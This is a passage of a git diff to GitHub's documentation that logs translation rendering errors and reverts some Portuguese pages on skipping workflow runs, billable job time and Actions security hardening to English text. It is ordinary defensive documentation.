translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,rendering error translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,rendering error +translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error diff --git a/translations/log/es-resets.csv b/translations/log/es-resets.csv index 58d58bd6d8..dc53402601 100644 --- a/translations/log/es-resets.csv +++ b/translations/log/es-resets.csv @@ -99,6 +99,7 @@ translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-wor translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error +translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md,rendering error translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error @@ -529,6 +530,7 @@ translations/es-ES/content/github/working-with-github-support/github-enterprise- translations/es-ES/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,Listed in localization-support#489 translations/es-ES/content/github/working-with-github-support/submitting-a-ticket.md,rendering error +translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,Listed in localization-support#489 translations/es-ES/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error translations/es-ES/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error diff --git a/translations/log/ja-resets.csv b/translations/log/ja-resets.csv index 8d580ef8e6..505fdcee8a 100644 --- a/translations/log/ja-resets.csv +++ b/translations/log/ja-resets.csv @@ -48,9 +48,12 @@ translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error +translations/ja-JP/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error +translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md,rendering error translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error translations/ja-JP/content/actions/quickstart.md,rendering error +translations/ja-JP/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error @@ -84,6 +87,7 @@ translations/ja-JP/content/admin/enterprise-management/configuring-high-availabi translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,rendering error translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,rendering error @@ -113,8 +117,10 @@ translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from- translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error translations/ja-JP/content/admin/guides.md,rendering error +translations/ja-JP/content/admin/index.md,rendering error translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,rendering error translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error +translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md,rendering error translations/ja-JP/content/admin/overview/system-overview.md,rendering error translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md,rendering error translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,rendering error @@ -133,6 +139,7 @@ translations/ja-JP/content/admin/user-management/managing-users-in-your-enterpri translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,rendering error +translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md,rendering error translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error @@ -276,6 +283,7 @@ translations/ja-JP/content/github/working-with-github-support/about-github-premi translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error translations/ja-JP/content/github/working-with-github-support/submitting-a-ticket.md,rendering error translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,rendering error +translations/ja-JP/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error translations/ja-JP/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error translations/ja-JP/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error diff --git a/translations/log/pt-resets.csv b/translations/log/pt-resets.csv index c871d5b76a..e4e323b632 100644 --- a/translations/log/pt-resets.csv +++ b/translations/log/pt-resets.csv @@ -38,7 +38,10 @@ translations/pt-BR/content/actions/learn-github-actions/understanding-github-act translations/pt-BR/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error translations/pt-BR/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error +translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error +translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error +translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error translations/pt-BR/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,rendering error @@ -61,6 +64,7 @@ translations/pt-BR/content/admin/enterprise-management/configuring-high-availabi translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error translations/pt-BR/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error @@ -75,12 +79,16 @@ translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from- translations/pt-BR/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error translations/pt-BR/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error translations/pt-BR/content/admin/guides.md,rendering error +translations/pt-BR/content/admin/index.md,rendering error translations/pt-BR/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error +translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md,rendering error +translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error translations/pt-BR/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,rendering error translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error +translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error @@ -203,6 +211,7 @@ translations/pt-BR/content/github/extending-github/about-webhooks.md,rendering e translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error translations/pt-BR/content/github/index.md,Listed in localization-support#489 translations/pt-BR/content/github/index.md,rendering error +translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error @@ -213,6 +222,7 @@ translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customi translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489 translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,parsing error +translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md index c09bf46186..9171475df9 100644 --- a/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md +++ b/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md @@ -1,19 +1,19 @@ --- -title: Ignorar execuções de fluxo de trabalho -intro: Você pode ignorar as execuções de fluxo de trabalho acionadas pelos eventos `push` e `pull_request` incluindo um comando na sua mensagem de commit. +title: Skipping workflow runs +intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. versions: fpt: '*' ghes: '*' - ghae: ghae-next + ghae: next ghec: '*' -shortTitle: Ignorar execução de fluxo de trabalho +shortTitle: Skip workflow runs --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -Os fluxos de trabalho que seriam acionados usando `on: push` ou `on: pull_request` não serão acionado se você adicionar qualquer uma das strings a seguir para a mensagem de commit em um push ou o commit HEAD de um pull request: +Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request: * `[skip ci]` * `[ci skip]` @@ -21,14 +21,14 @@ Os fluxos de trabalho que seriam acionados usando `on: push` ou `on: pull_reques * `[skip actions]` * `[actions skip]` -Como alternativa, você pode terminar a mensagem de commit com duas linhas vazias seguidas de `skip-checks: true` ou `skip-checks:true`. +Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`. -Você não conseguirá fazer o merge do pull request se o repositório estiver configurado para exigir verificações específicas para passar primeiro. Para permitir que o merge do pull request, você pode fazer o push de um novo commit no pull request sem que a instrução seja ignorada na mensagem do commit. +You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message. {% note %} -**Observação:** Ignorar instruções só se aplica aos eventos `push` e `pull_request`. Por exemplo, adicionar `[skip ci]` a uma mensagem de commit não impedirá que um fluxo de trabalho que acionou `on : pull_request_target` seja executado. +**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running. {% endnote %} -Ignorar as instruções só se aplica às execuções do(s) fluxo(s) de trabalho que serão acionadas pelo commit que contém as instruções de para ignorar. Você também pode desabilitar um fluxo de trabalho da execução. Para obter mais informações, consulte "[Desabilitar e habilitar um fluxo de trabalho](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)". +Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)." diff --git a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md index 4463d15ec9..1b2f2dc9e6 100644 --- a/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md +++ b/translations/pt-BR/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md @@ -1,28 +1,29 @@ --- -title: Visualizar o tempo de execução do trabalho -intro: 'Você pode visualizar o tempo de execução de um trabalho, incluindo os minutos faturáveis que um trabalho acumulou.' +title: Viewing job execution time +intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.' redirect_from: - /actions/managing-workflow-runs/viewing-job-execution-time versions: fpt: '*' ghec: '*' -shortTitle: Visualizar tempo de execução do trabalho +shortTitle: View job execution time --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -Os minutos de execução de um trabalho faturável são exibidos para trabalhos executados em repositórios privados que usam executores hospedados em {% data variables.product.prodname_dotcom %}. Não há minutos faturáveis ao usar {% data variables.product.prodname_actions %} nos repositórios públicos ou para trabalhos executados em executores auto-hospedados. +Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} -1. No resumo do trabalho, você pode ver o tempo de execução do trabalho. Para visualizar os detalhes sobre o tempo de execução do trabalho faturável, clique no tempo abaixo do **Tempo faturável**. ![Link com informações sobre o tempo faturável e execução](/assets/images/help/repository/view-run-billable-time.png) +1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**. + ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png) {% note %} - - **Observação:**O tempo faturável exibido não inclui arredondamentos ou multiplicadores de minutos. Para visualizar o uso total de {% data variables.product.prodname_actions %}, incluindo arredondamento e multiplicadores de minutos, consulte "[Visualizando o seu uso {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)". - + + **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)." + {% endnote %} diff --git a/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md index e736b1cf33..52ed166394 100644 --- a/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md +++ b/translations/pt-BR/content/actions/security-guides/security-hardening-for-github-actions.md @@ -1,7 +1,7 @@ --- -title: Fortalecimento de segurança para o GitHub Actions -shortTitle: Fortalecimento de segurança -intro: 'Boas práticas de segurança para usar recursos do {% data variables.product.prodname_actions %}.' +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.' redirect_from: - /actions/getting-started-with-github-actions/security-hardening-for-github-actions - /actions/learn-github-actions/security-hardening-for-github-actions @@ -20,58 +20,58 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Visão Geral +## Overview -Este guia explica como configurar o fortalecimento de segurança para certos recursos de {% data variables.product.prodname_actions %}. Se os conceitos do {% data variables.product.prodname_actions %} forem desconhecidos, consulte "[Principais conceitos para o GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions) +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." -## Usar segredos +## Using secrets -Valores sensíveis nunca devem ser armazenados como texto simples em arquivos de fluxo de trabalho, mas como segredos. [Os segredos](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) podem ser configurados na organização{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositório, ambiente{% else %} ou níveis do repositório{% endif %} e permitem que você armazene informações confidenciais em {% data variables.product.product_name %}. +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}. -Os segredos usam [caixas fechadas de Libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) de modo que sejam criptografadas antes de atingir {% data variables.product.product_name %}. Isso ocorre quando o segredo é enviado [usando a interface de usuário](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) ou através da [API REST](/rest/reference/actions#secrets). Esta criptografia do lado do cliente ajuda a minimizar os riscos relacionados ao registro acidental (por exemplo, registros de exceções e de solicitação, entre outros) dentro da infraestrutura do {% data variables.product.product_name %}. Uma vez realizado o upload do segredo, o {% data variables.product.product_name %} poderá descriptografá-lo para que possa ser injetado no tempo de execução do fluxo de trabalho. +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. -Para ajudar a prevenir a divulgação acidental, o {% data variables.product.product_name %} usa um mecanismo que tenta redigir quaisquer segredos que aparecem nos registros de execução. Esta redação procura correspondências exatas de quaisquer segredos configurados, bem como codificações comuns dos valores, como Base64. No entanto, como há várias maneiras de transformar o valor de um segredo, essa anulação não é garantida. Como resultado, existem certas etapas proativas e boas práticas que você deve seguir para ajudar a garantir que os segredos sejam editados, e para limitar outros riscos associados aos segredos: +To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: -- **Nunca usar dados estruturados como um segredo** - - Os dados estruturados podem fazer com que ocorra uma falha nos registros de segredos, pois a redação depende, em grande parte, de encontrar uma correspondência exata para o valor específico do segredo. Por exemplo, não use um blob de JSON, XML, ou YAML (ou similar) para encapsular o valor de um segredo, já que isso reduz significativamente a probabilidade de os segredos serem devidamente redigidos. Em vez disso, crie segredos individuais para cada valor sensível. -- **Registre todos os segredos usados nos fluxos de trabalho** - - Se um segredo for usado para gerar outro valor sensível dentro de um fluxo de trabalho, esse valor gerado deve ser formalmente [registrado como um segredo](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) para que seja reproduzido se alguma vez aparecer nos registros. Por exemplo, se, ao usar uma chave privada para gerar um JWT assinado para acessar uma API web, certifique-se de registrar que JWT é um segredo ou não será redigido se entrar na saída de do registro. - - O registro de segredos também aplica-se a qualquer tipo de transformação/codificação. Se seu segredo foi transformado de alguma forma (como Base64 ou URL codificada), certifique-se de registrar o novo valor como um segredo também. -- **Audite como segredos são tratados** - - Audite como os segredos são usados, para ajudar a garantir que estejam sendo tratados conforme o esperado. Você pode fazer isso revisando o código-fonte do repositório que executa o fluxo de trabalho e verificando quaisquer ações usadas no fluxo de trabalho. Por exemplo, verifique se eles não são enviados para hosts não pretendidos, ou impressos explicitamente na saída de um registro. - - Visualize os registros de execução do seu fluxo de trabalho depois de testar entradas válidas/inválidas e, em seguida, verifique se os segredos estão sendo editados corretamente ou não são mostrados. Nem sempre é sempre óbvio como um comando ou ferramenta que você está invocando irá enviar erros para `STDOUT` e `STDERR`, e os segredos podem depois acabar em registros de erro. Como resultado, considera-se uma boa prática rever manualmente os registros do fluxo de trabalho depois de testar entradas válidas e inválidas. -- **Use as credenciais que tenham escopos mínimos** - - Certifique-se de que as credenciais usadas nos fluxos de trabalho têm o menor privilégio necessário e esteja ciente de que qualquer usuário com acesso de gravação ao repositório terá acesso de leitura a todos os segredos configurados no seu repositório. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - - As ações podem usar o `GITHUB_TOKEN` acessando-o no contexto do `github.token`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#github-context)". Portanto, você deve certificar-se de que o `GITHUB_TOKEN` tenha as permissões mínimas necessárias. É uma prática de segurança recomendada definir a permissão-padrão para o `GITHUB_TOKEN` para ler apenas os conteúdos do repositório. As permissões podem ser aumentadas, conforme necessário, para tarefas individuais dentro do arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". {% endif %} -- **Audite e gire os segredos registrados** - - Reveja, periodicamente, os segredos registrados para confirmar se ainda são necessários. Remova aqueles que não são mais necessários. - - Gire os segredos periodicamente para reduzir a janela de tempo durante a qual um segredo comprometido é válido. +- **Never use structured data as a secret** + - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +- **Register all secrets used within workflows** + - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +- **Audit how secrets are handled** + - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. +- **Use credentials that are minimally scoped** + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %} +- **Audit and rotate registered secrets** + - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -- **Considere a necessidade de revisão para acesso a segredos** - - Você pode usar revisores necessários para proteger os segredos do ambiente. Um trabalho de fluxo de trabalho não pode acessar segredos de ambiente até que a aprovação seja concedida por um revisor. Para mais informações sobre armazenar segredos em ambientes ou exigir revisões para ambientes, consulte "[segredos criptografados](/actions/reference/encrypted-secrets)" e "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment)". +- **Consider requiring review for access to secrets** + - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} -## Usar `CODEOWNERS` para monitorar alterações +## Using `CODEOWNERS` to monitor changes -Você pode usar o recurso `CODEOWNERS` para controlar como são feitas alterações nos seus arquivos de fluxo de trabalho. Por exemplo, se todos os arquivos de fluxo de trabalho forem armazenados em `.github/workflows`, você pode adicionar este diretório à lista de proprietários do código para que quaisquer alterações propostas nestes arquivos exijam primeiro a aprovação de um revisor designado. +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. -Para obter mais informações, consulte "[Sobre proprietários do código](/github/creating-cloning-and-archiving-repositories/about-code-owners)". +For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." -## Entendendo o risco de injeções de script +## Understanding the risk of script injections -Ao criar fluxos de trabalho, [ações personalizadas](/actions/creating-actions/about-actions)e [ações compostas](/actions/creating-actions/creating-a-composite-action), você deverá sempre considerar se seu código pode executar entrada não confiável de invasores. Isso pode ocorrer quando um invasor adiciona comandos maliciosos e scripts em um contexto. Quando seu fluxo de trabalho é executado, essas strings podem ser interpretadas como código que é executado no executado. +When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - Os invasores podem adicionar seu próprio conteúdo malicioso ao contexto do [`github`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), que deve ser tratado como uma entrada potencialmente não confiável. Geralmente, esses contextos terminam com `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref` e `title`. Por exemplo: `github.event.issue.title` ou `github.event.pull_request.body`. + Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." - Você deve garantir que esses valores não fluam diretamente para fluxos de trabalho, ações, chamadas de API ou para qualquer outro lugar onde possam ser interpretados como código executável. Ao adotar a mesma postura defensiva de programação que você adotaria para qualquer outro 